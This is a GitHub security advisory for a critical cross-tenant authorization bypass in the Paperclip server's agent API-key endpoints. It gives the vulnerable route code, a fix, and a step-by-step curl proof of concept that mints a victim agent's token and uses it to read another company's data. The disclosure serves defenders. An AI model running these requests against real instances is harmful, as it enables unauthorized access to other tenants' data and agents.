GHSA-47WQ-CJ9Q-WPMP

Vulnerability from github – Published: 2026-04-16 22:48 – Updated: 2026-04-16 22:48
VLAI?
Summary
Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys
Details

01-setup

Isolated paperclip instance running in authenticated mode (default config) on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post the 2026.410.0 patch). This advisory was verified on an unmodified build.

Summary

POST /api/agents/:id/keys, GET /api/agents/:id/keys, and DELETE /api/agents/:id/keys/:keyId (server/src/routes/agents.ts lines 2050-2087) only call assertBoard to authorize the caller. They never call assertCompanyAccess and never verify that the caller is a member of the company that owns the target agent.

Any authenticated board user (including a freshly signed-up account with zero company memberships and no instance_admin role) can mint a plaintext pcp_* agent API token for any agent in any company on the instance. The minted token is bound to the victim agent's companyId server-side, so every downstream assertCompanyAccess check on that token authorizes operations inside the victim tenant.

This is a pure authorization bypass on the core tenancy boundary. It is distinct from GHSA-68qg-g8mg-6pr7 (the unauth import → RCE chain disclosed in 2026.410.0): that advisory fixed one handler, this report is a different handler with the same class of mistake that the 2026.410.0 patch did not cover.

Root Cause

server/src/routes/agents.ts, lines 2050-2087:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const id = req.params.id as string;
  const key = await svc.createApiKey(id, req.body.name);
  ...
  res.status(201).json(key);                    // returns plaintext `token`
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);                             // <-- no assertCompanyAccess
  const keyId = req.params.keyId as string;
  const revoked = await svc.revokeKey(keyId);
  ...
});

Compare the handler 12 lines below, router.post("/agents/:id/wakeup"), which shows the correct pattern: it fetches the agent, then calls assertCompanyAccess(req, agent.companyId). The three /keys handlers above do not even fetch the agent.

The token returned by POST /agents/:id/keys is bound to the victim company in server/src/services/agents.ts, lines 580-609:

createApiKey: async (id: string, name: string) => {
  const existing = await getById(id);                 // victim agent
  ...
  const token = createToken();
  const keyHash = hashToken(token);
  const created = await db
    .insert(agentApiKeys)
    .values({
      agentId: id,
      companyId: existing.companyId,                  // <-- victim tenant
      name,
      keyHash,
    })
    .returning()
    .then((rows) => rows[0]);

  return {
    id: created.id,
    name: created.name,
    token,                                            // <-- plaintext returned
    createdAt: created.createdAt,
  };
},

actorMiddleware (server/src/middleware/auth.ts) then resolves the bearer token to actor = { type: "agent", companyId: existing.companyId }, so every subsequent assertCompanyAccess(req, victim.companyId) check passes.

The exact same assertBoard-only pattern is also present on agent lifecycle handlers in the same file (POST /agents/:id/pause, /resume, /terminate, and DELETE /agents/:id at lines 1962, 1985, 2006, 2029). An attacker can terminate, delete, or silently pause any agent in any company with the same primitive.

Trigger Conditions

  1. Paperclip running in authenticated mode (the public, multi-user configuration — PAPERCLIP_DEPLOYMENT_MODE=authenticated).
  2. PAPERCLIP_AUTH_DISABLE_SIGN_UP unset or false (the default — same default precondition as GHSA-68qg-g8mg-6pr7).
  3. At least one other company exists on the instance with at least one agent. In practice this is the normal state of any production paperclip deployment. The attacker needs the victim agent's ID, which leaks through activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that the 2026.410.0 disclosure also flagged as under-protected.

No admin role, no invite, no email verification, no CSRF dance. The attacker is an authenticated browser-session user with zero company memberships.

PoC

Verified against a freshly built ghcr.io/paperclipai/paperclip:latest container at commit b649bd4 (2026.411.0-canary.8, which is post the 2026.410.0 import-bypass patch). Full 5-step reproduction:

02-signup

Step 1-2: Mallory signs up via the default /api/auth/sign-up/email flow (no invite, no verification) and confirms via GET /api/companies that she is a member of zero companies. She has no tenant access through the normal authorization path.

# Step 1: attacker signs up as an unprivileged board user
curl -s -X POST http://<target>:3102/api/auth/sign-up/email \
  -H 'Content-Type: application/json' \
  -d '{"email":"mallory@attacker.com","password":"P@ssw0rd456","name":"mallory"}'
# Save the `better-auth.session_token` cookie from Set-Cookie.

# Step 2: confirm zero company membership
curl -s -H "Cookie: $MALLORY_SESSION" http://<target>:3102/api/companies
# -> []

03-exploit

Step 3 — the vulnerability. Mallory POSTs to /api/agents/:id/keys targeting an agent in Victim Corp (a company she is NOT a member of). The server returns a plaintext pcp_* token tied to the victim's companyId. There is no authorization error. assertBoard passed because Mallory is a board user; assertCompanyAccess was never called.

# Step 3: mint a plaintext token for a victim agent
VICTIM_AGENT=<any-agent-id-in-another-company>
curl -s -X POST \
  -H "Cookie: $MALLORY_SESSION" \
  -H "Origin: http://<target>:3102" \
  -H "Content-Type: application/json" \
  -d '{"name":"pwnkit"}' \
  http://<target>:3102/api/agents/$VICTIM_AGENT/keys
# -> 201 { "id":"...", "token":"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25", ... }

04-exfil

Step 4-5: Use the stolen token as a Bearer credential. actorMiddleware resolves it to actor = { type: "agent", companyId: VICTIM }, so every downstream assertCompanyAccess gate authorizes reads against Victim Corp. Mallory can now enumerate the victim's company metadata, issues, approvals, and agent configuration — none of which she had access to 30 seconds ago.

# Step 4: use the stolen token to read victim company data
STOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25
VICTIM_CO=<victim-company-id>
curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO
# -> 200 { "id":"...", "name":"Victim Corp", ... }

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/issues
# -> 200 [ ...every issue in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/companies/$VICTIM_CO/approvals
# -> 200 [ ...every approval in the victim tenant... ]

curl -s -H "Authorization: Bearer $STOLEN" \
  http://<target>:3102/api/agents/$VICTIM_AGENT
# -> 200 { ...full agent config incl. adapter settings... }

Observed outputs (all verified on live instance at time of submission):

  • POST /api/agents/:id/keys → 201 with plaintext token bound to the victim's companyId
  • GET /api/companies/:victimId → 200 full company metadata
  • GET /api/companies/:victimId/issues → 200 issue list
  • GET /api/companies/:victimId/agents → 200 agent list
  • GET /api/companies/:victimId/approvals → 200 approval list

Impact

  • Type: Broken access control / cross-tenant IDOR (CWE-285, CWE-639, CWE-862, CWE-1220)
  • Who is impacted: every paperclip instance running in authenticated mode with default PAPERCLIP_AUTH_DISABLE_SIGN_UP (open signup). That is the documented multi-user configuration and the default in docker/docker-compose.quickstart.yml.
  • Confidentiality: HIGH. Any signed-up user can read another tenant's company metadata, issues, approvals, runs, and agent configuration (which includes adapter URLs, model settings, and references to stored secret bindings).
  • Integrity: HIGH. The minted token is a persistent agent credential that authenticates for every assertCompanyAccess-gated agent-scoped mutation in the victim tenant (issue/run updates, self-wakeup with attacker-controlled payloads, adapter execution via the agent's own adapter, etc.).
  • Availability: HIGH. The attacker can pause, terminate, or DELETE any agent in any company via the sibling assertBoard-only handlers (/agents/:id/pause, /resume, /terminate, DELETE /agents/:id).
  • Relation to GHSA-68qg-g8mg-6pr7: the 2026.410.0 patch added assertInstanceAdmin on POST /companies/import and closed the disclosed chain, but the same root cause (assertBoard treated as sufficient where assertCompanyAccess is required on a cross-tenant resource, or where assertInstanceAdmin is required on an instance-global resource) is present in multiple other handlers. The import fix did not audit sibling routes. This report is an instance of that same class the prior advisory did not cover.

Severity is driven by the fact that every precondition is default, the bug is reachable by any signed-up user with zero memberships, and the stolen token persists across sessions until manually revoked.

Suggested Fix

In server/src/routes/agents.ts, replace each of the three /keys handlers so they load the target agent first and enforce company access:

router.get("/agents/:id/keys", async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const keys = await svc.listKeys(id);
  res.json(keys);
});

router.post("/agents/:id/keys", validate(createAgentKeySchema), async (req, res) => {
  assertBoard(req);
  const id = req.params.id as string;
  const agent = await svc.getById(id);
  if (!agent) {
    res.status(404).json({ error: "Agent not found" });
    return;
  }
  assertCompanyAccess(req, agent.companyId);
  const key = await svc.createApiKey(id, req.body.name);
  ...
});

router.delete("/agents/:id/keys/:keyId", async (req, res) => {
  assertBoard(req);
  const keyId = req.params.keyId as string;
  // Look up the key to find its agentId/companyId, then:
  const key = await svc.getKeyById(keyId);
  if (!key) { res.status(404).json({ error: "Key not found" }); return; }
  assertCompanyAccess(req, key.companyId);
  await svc.revokeKey(keyId);
  res.json({ ok: true });
});

While fixing this, audit the sibling lifecycle handlers at lines 1962-2048 (/agents/:id/pause, /resume, /terminate, DELETE /agents/:id) which share the same bug.

Defense in depth: consider a code-wide sweep for assertBoard(req) calls that are not immediately followed by assertCompanyAccess or assertInstanceAdmin — the 2026.410.0 patch focused on one handler but the pattern is systemic.

Patch Status

  • Latest image at time of writing: ghcr.io/paperclipai/paperclip:latest digest sha256:baa9926e..., commit b649bd4 (canary/v2026.411.0-canary.8), which is after the 2026.410.0 import bypass fix.
  • The bug is still present on that revision. PoC reproduced end-to-end against an unmodified container.

Credits

Discovered by pwnkit, an AI-assisted security scanner, during variant-hunt analysis of GHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip instance.

Severity ?
9.9 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@paperclipai/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.416.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1220",
      "CWE-285",
      "CWE-639",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-16T22:48:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "\u003cimg width=\"7007\" height=\"950\" alt=\"01-setup\" src=\"https://github.com/user-attachments/assets/1596b8d1-8de5-4c21-b1d2-2db41b568d7e\" /\u003e\n\n\u003e Isolated paperclip instance running in authenticated mode (default config)\n\u003e on a clean Docker image matching commit b649bd4 (2026.411.0-canary.8, post\n\u003e the 2026.410.0 patch). This advisory was verified on an unmodified build.\n\n### Summary\n\n`POST /api/agents/:id/keys`, `GET /api/agents/:id/keys`, and\n`DELETE /api/agents/:id/keys/:keyId` (`server/src/routes/agents.ts`\nlines 2050-2087) only call `assertBoard` to authorize the caller. They never\ncall `assertCompanyAccess` and never verify that the caller is a member of the\ncompany that owns the target agent.\n\nAny authenticated board user (including a freshly signed-up account with zero\ncompany memberships and no `instance_admin` role) can mint a plaintext\n`pcp_*` agent API token for any agent in any company on the instance. The\nminted token is bound to the **victim** agent\u0027s `companyId` server-side, so\nevery downstream `assertCompanyAccess` check on that token authorizes\noperations inside the victim tenant.\n\nThis is a pure authorization bypass on the core tenancy boundary. It is\ndistinct from GHSA-68qg-g8mg-6pr7 (the unauth import \u2192 RCE chain disclosed in\n2026.410.0): that advisory fixed one handler, this report is a different\nhandler with the same class of mistake that the 2026.410.0 patch did not\ncover.\n\n### Root Cause\n\n`server/src/routes/agents.ts`, lines 2050-2087:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const id = req.params.id as string;\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n  res.status(201).json(key);                    // returns plaintext `token`\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);                             // \u003c-- no assertCompanyAccess\n  const keyId = req.params.keyId as string;\n  const revoked = await svc.revokeKey(keyId);\n  ...\n});\n```\n\nCompare the handler 12 lines below, `router.post(\"/agents/:id/wakeup\")`,\nwhich shows the correct pattern: it fetches the agent, then calls\n`assertCompanyAccess(req, agent.companyId)`. The three `/keys` handlers above\ndo not even fetch the agent.\n\nThe token returned by `POST /agents/:id/keys` is bound to the **victim**\ncompany in `server/src/services/agents.ts`, lines 580-609:\n\n```ts\ncreateApiKey: async (id: string, name: string) =\u003e {\n  const existing = await getById(id);                 // victim agent\n  ...\n  const token = createToken();\n  const keyHash = hashToken(token);\n  const created = await db\n    .insert(agentApiKeys)\n    .values({\n      agentId: id,\n      companyId: existing.companyId,                  // \u003c-- victim tenant\n      name,\n      keyHash,\n    })\n    .returning()\n    .then((rows) =\u003e rows[0]);\n\n  return {\n    id: created.id,\n    name: created.name,\n    token,                                            // \u003c-- plaintext returned\n    createdAt: created.createdAt,\n  };\n},\n```\n\n`actorMiddleware` (`server/src/middleware/auth.ts`) then resolves the bearer\ntoken to `actor = { type: \"agent\", companyId: existing.companyId }`, so every\nsubsequent `assertCompanyAccess(req, victim.companyId)` check passes.\n\nThe exact same `assertBoard`-only pattern is also present on agent lifecycle\nhandlers in the same file (`POST /agents/:id/pause`, `/resume`, `/terminate`,\nand `DELETE /agents/:id` at lines 1962, 1985, 2006, 2029). An attacker can\nterminate, delete, or silently pause any agent in any company with the same\nprimitive.\n\n### Trigger Conditions\n\n1. Paperclip running in `authenticated` mode (the public, multi-user\n   configuration \u2014 `PAPERCLIP_DEPLOYMENT_MODE=authenticated`).\n2. `PAPERCLIP_AUTH_DISABLE_SIGN_UP` unset or false (the default \u2014 same\n   default precondition as GHSA-68qg-g8mg-6pr7).\n3. At least one other company exists on the instance with at least one\n   agent. In practice this is the normal state of any production paperclip\n   deployment. The attacker needs the victim agent\u0027s ID, which leaks through\n   activity feeds, heartbeat run APIs, and the sidebar-badges endpoint that\n   the 2026.410.0 disclosure also flagged as under-protected.\n\nNo admin role, no invite, no email verification, no CSRF dance. The attacker\nis an authenticated browser-session user with zero company memberships.\n\n### PoC\n\nVerified against a freshly built `ghcr.io/paperclipai/paperclip:latest`\ncontainer at commit `b649bd4` (2026.411.0-canary.8, which is **post** the\n2026.410.0 import-bypass patch). Full 5-step reproduction:\n\n\u003cimg width=\"5429\" height=\"1448\" alt=\"02-signup\" src=\"https://github.com/user-attachments/assets/4c2b2939-326b-4e0d-aa01-05e22851486b\" /\u003e\n\u003e Step 1-2: Mallory signs up via the default `/api/auth/sign-up/email` flow\n\u003e (no invite, no verification) and confirms via `GET /api/companies` that she\n\u003e is a member of zero companies. She has no tenant access through the normal\n\u003e authorization path.\n\n```bash\n# Step 1: attacker signs up as an unprivileged board user\ncurl -s -X POST http://\u003ctarget\u003e:3102/api/auth/sign-up/email \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\"email\":\"mallory@attacker.com\",\"password\":\"P@ssw0rd456\",\"name\":\"mallory\"}\u0027\n# Save the `better-auth.session_token` cookie from Set-Cookie.\n\n# Step 2: confirm zero company membership\ncurl -s -H \"Cookie: $MALLORY_SESSION\" http://\u003ctarget\u003e:3102/api/companies\n# -\u003e []\n```\n\n\u003cimg width=\"2891\" height=\"1697\" alt=\"03-exploit\" src=\"https://github.com/user-attachments/assets/c097e861-6bc9-4f6a-841c-b45501e27849\" /\u003e\n\u003e Step 3 \u2014 the vulnerability. Mallory POSTs to `/api/agents/:id/keys`\n\u003e targeting an agent in Victim Corp (a company she is NOT a member of). The\n\u003e server returns a plaintext `pcp_*` token tied to the victim\u0027s `companyId`.\n\u003e There is no authorization error. `assertBoard` passed because Mallory is a\n\u003e board user; `assertCompanyAccess` was never called.\n\n```bash\n# Step 3: mint a plaintext token for a victim agent\nVICTIM_AGENT=\u003cany-agent-id-in-another-company\u003e\ncurl -s -X POST \\\n  -H \"Cookie: $MALLORY_SESSION\" \\\n  -H \"Origin: http://\u003ctarget\u003e:3102\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\":\"pwnkit\"}\u0027 \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT/keys\n# -\u003e 201 { \"id\":\"...\", \"token\":\"pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\", ... }\n```\n\n\u003cimg width=\"2983\" height=\"2009\" alt=\"04-exfil\" src=\"https://github.com/user-attachments/assets/ede5d469-4119-432c-b0ae-5a4fabc9a56b\" /\u003e\n\u003e Step 4-5: Use the stolen token as a Bearer credential. `actorMiddleware`\n\u003e resolves it to `actor = { type: \"agent\", companyId: VICTIM }`, so every\n\u003e downstream `assertCompanyAccess` gate authorizes reads against Victim Corp.\n\u003e Mallory can now enumerate the victim\u0027s company metadata, issues, approvals,\n\u003e and agent configuration \u2014 none of which she had access to 30 seconds ago.\n\n```bash\n# Step 4: use the stolen token to read victim company data\nSTOLEN=pcp_8be3a5198e9ccba0ac7b3341395b2d3145fe2caa1b800e25\nVICTIM_CO=\u003cvictim-company-id\u003e\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO\n# -\u003e 200 { \"id\":\"...\", \"name\":\"Victim Corp\", ... }\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/issues\n# -\u003e 200 [ ...every issue in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/companies/$VICTIM_CO/approvals\n# -\u003e 200 [ ...every approval in the victim tenant... ]\n\ncurl -s -H \"Authorization: Bearer $STOLEN\" \\\n  http://\u003ctarget\u003e:3102/api/agents/$VICTIM_AGENT\n# -\u003e 200 { ...full agent config incl. adapter settings... }\n```\n\nObserved outputs (all verified on live instance at time of submission):\n\n- `POST /api/agents/:id/keys` \u2192 **201** with plaintext `token` bound to\n  the victim\u0027s `companyId`\n- `GET /api/companies/:victimId` \u2192 **200** full company metadata\n- `GET /api/companies/:victimId/issues` \u2192 **200** issue list\n- `GET /api/companies/:victimId/agents` \u2192 **200** agent list\n- `GET /api/companies/:victimId/approvals` \u2192 **200** approval list\n\n### Impact\n\n- **Type:** Broken access control / cross-tenant IDOR (CWE-285, CWE-639,\n  CWE-862, CWE-1220)\n- **Who is impacted:** every paperclip instance running in `authenticated`\n  mode with default `PAPERCLIP_AUTH_DISABLE_SIGN_UP` (open signup). That is\n  the documented multi-user configuration and the default in\n  `docker/docker-compose.quickstart.yml`.\n- **Confidentiality:** HIGH. Any signed-up user can read another tenant\u0027s\n  company metadata, issues, approvals, runs, and agent configuration (which\n  includes adapter URLs, model settings, and references to stored secret\n  bindings).\n- **Integrity:** HIGH. The minted token is a persistent agent credential\n  that authenticates for every `assertCompanyAccess`-gated agent-scoped\n  mutation in the victim tenant (issue/run updates, self-wakeup with\n  attacker-controlled payloads, adapter execution via the agent\u0027s own\n  adapter, etc.).\n- **Availability:** HIGH. The attacker can `pause`, `terminate`, or\n  `DELETE` any agent in any company via the sibling `assertBoard`-only\n  handlers (`/agents/:id/pause`, `/resume`, `/terminate`,\n  `DELETE /agents/:id`).\n- **Relation to GHSA-68qg-g8mg-6pr7:** the 2026.410.0 patch added\n  `assertInstanceAdmin` on `POST /companies/import` and closed the disclosed\n  chain, but the same root cause (`assertBoard` treated as sufficient where\n  `assertCompanyAccess` is required on a cross-tenant resource, or where\n  `assertInstanceAdmin` is required on an instance-global resource) is\n  present in multiple other handlers. The import fix did not audit sibling\n  routes. This report is an instance of that same class the prior advisory\n  did not cover.\n\nSeverity is driven by the fact that every precondition is default, the bug\nis reachable by any signed-up user with zero memberships, and the stolen\ntoken persists across sessions until manually revoked.\n\n### Suggested Fix\n\nIn `server/src/routes/agents.ts`, replace each of the three `/keys` handlers\nso they load the target agent first and enforce company access:\n\n```ts\nrouter.get(\"/agents/:id/keys\", async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const keys = await svc.listKeys(id);\n  res.json(keys);\n});\n\nrouter.post(\"/agents/:id/keys\", validate(createAgentKeySchema), async (req, res) =\u003e {\n  assertBoard(req);\n  const id = req.params.id as string;\n  const agent = await svc.getById(id);\n  if (!agent) {\n    res.status(404).json({ error: \"Agent not found\" });\n    return;\n  }\n  assertCompanyAccess(req, agent.companyId);\n  const key = await svc.createApiKey(id, req.body.name);\n  ...\n});\n\nrouter.delete(\"/agents/:id/keys/:keyId\", async (req, res) =\u003e {\n  assertBoard(req);\n  const keyId = req.params.keyId as string;\n  // Look up the key to find its agentId/companyId, then:\n  const key = await svc.getKeyById(keyId);\n  if (!key) { res.status(404).json({ error: \"Key not found\" }); return; }\n  assertCompanyAccess(req, key.companyId);\n  await svc.revokeKey(keyId);\n  res.json({ ok: true });\n});\n```\n\nWhile fixing this, audit the sibling lifecycle handlers at lines 1962-2048\n(`/agents/:id/pause`, `/resume`, `/terminate`, `DELETE /agents/:id`) which\nshare the same bug.\n\nDefense in depth: consider a code-wide sweep for `assertBoard(req)` calls\nthat are not immediately followed by `assertCompanyAccess` or\n`assertInstanceAdmin` \u2014 the 2026.410.0 patch focused on one handler but the\npattern is systemic.\n\n### Patch Status\n\n- Latest image at time of writing: `ghcr.io/paperclipai/paperclip:latest`\n  digest `sha256:baa9926e...`, commit `b649bd4`\n  (`canary/v2026.411.0-canary.8`), which is *after* the 2026.410.0 import\n  bypass fix.\n- The bug is still present on that revision. PoC reproduced end-to-end\n  against an unmodified container.\n\n### Credits\n\nDiscovered by [pwnkit](https://github.com/peaktwilight/pwnkit), an\nAI-assisted security scanner, during variant-hunt analysis of\nGHSA-68qg-g8mg-6pr7. Manually verified against a live isolated paperclip\ninstance.",
  "id": "GHSA-47wq-cj9q-wpmp",
  "modified": "2026-04-16T22:48:32Z",
  "published": "2026-04-16T22:48:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/paperclipai/paperclip/security/advisories/GHSA-47wq-cj9q-wpmp"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/paperclipai/paperclip"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Paperclip: Cross-tenant agent API token minting via missing assertCompanyAccess on /api/agents/:id/keys"
}


Log in or create an account to share your comment.




Tags
Taxonomy of the tags.




Sightings

Author Source Type Date

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.



Detection rules are retrieved from Rulezet.